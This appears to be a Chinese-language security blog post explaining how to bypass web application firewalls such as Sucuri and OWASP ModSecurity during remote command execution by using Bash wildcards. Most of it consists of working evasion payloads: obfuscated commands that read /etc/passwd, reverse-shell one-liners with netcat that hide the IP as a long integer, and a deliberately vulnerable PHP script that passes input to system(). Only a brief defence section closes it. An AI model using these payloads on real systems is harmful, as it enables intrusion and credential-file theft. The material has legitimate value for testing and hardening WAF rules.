WAF绕过技巧浅谈
字数 1350 2025-08-18 11:37:02
WAF绕过技巧:利用Bash通配符绕过命令执行防护
1. 背景介绍
远程命令执行(RCE)漏洞是Web应用中最严重的风险之一,在OWASP Top 10中长期位居前列。现代WAF(Web应用防火墙)大多具备对RCE攻击的拦截能力,但在Linux系统中,通过巧妙利用Bash通配符,我们可以绕过许多WAF的规则集。
2. Bash通配符基础
Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件:
?匹配任意单个字符*匹配任意数量的任意字符[]匹配指定范围内的字符
2.1 通配符替代命令示例
| 常规命令 | 通配符替代形式 |
|---|---|
/bin/ls |
/?in/ls 或 /???/?s |
/bin/cat /etc/passwd |
/???/??t /???/??ss?? |
nc -e /bin/bash 127.0.0.1 1337 |
/???/n? -e /???/b??h 2130706433 1337 |
3. 绕过WAF的具体技术
3.1 文件读取绕过
传统方式:
/?cmd=cat+/etc/passwd
绕过方式:
/?cmd=%2f???%2f??t%20%2f???%2fp??s??
3.2 反向Shell绕过
传统方式:
/bin/nc -e /bin/bash 127.0.0.1 1337
绕过技巧:
- 使用通配符替代路径
- 将IP地址转换为长整型格式(127.0.0.1 → 2130706433)
绕过方式:
/???/n? -e /???/b??h 2130706433 1337
3.3 为什么使用问号而非星号
- 星号(
*)常被用于注释语法(如/* 注释 */),许多WAF会阻止它以防止SQL注入等攻击 - 问号(
?)匹配更精确,不易被WAF规则识别为恶意字符
4. 针对不同WAF的绕过实践
4.1 Sucuri WAF绕过
测试用例:
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
传统攻击被拦截:
/?c=/bin/cat /etc/passwd
成功绕过:
/?c=/???/??t /???/??ss??
4.2 OWASP ModSecurity核心规则集绕过
不同防护等级(PL)的分析:
PL0:
- 许多规则被禁用
- payload可直接执行
PL1 & PL2:
- 阻止传统攻击方式(如
/bin/cat /etc/passwd) - 但允许
?、/和空格字符 - 通配符形式可绕过
PL3:
- 会阻止包含过多
?的请求 - 解决方案:减少通配符数量
/?c=/?in/cat+/et?/passw?
PL4:
- 最严格等级
- 仅允许A-Z, a-z, 0-9及少数特殊字符
- 极难绕过,因为命令执行通常需要空格或斜线
5. 其他实用技巧
5.1 枚举文件和目录
echo /*/*ss*
5.2 避免使用点字符
- 将IP地址转换为长整型格式
- 127.0.0.1 → 2130706433
5.3 不同命令的替代形式
/???/?c.e /???/b??h 2130706433 1337
6. 防御建议
- 使用最高防护等级(PL4)的ModSecurity规则
- 限制系统命令执行函数的使用
- 对用户输入进行严格的白名单验证
- 监控异常的命令执行模式
- 定期更新WAF规则集
7. 总结
通过Bash通配符技术,特别是问号(?)的使用,可以有效地绕过许多WAF对命令执行的防护。这种技术利用了WAF规则集中对特殊字符处理的不足,特别是在中低防护等级下效果显著。安全团队应当了解这些绕过技术,以便更好地加固Web应用防护。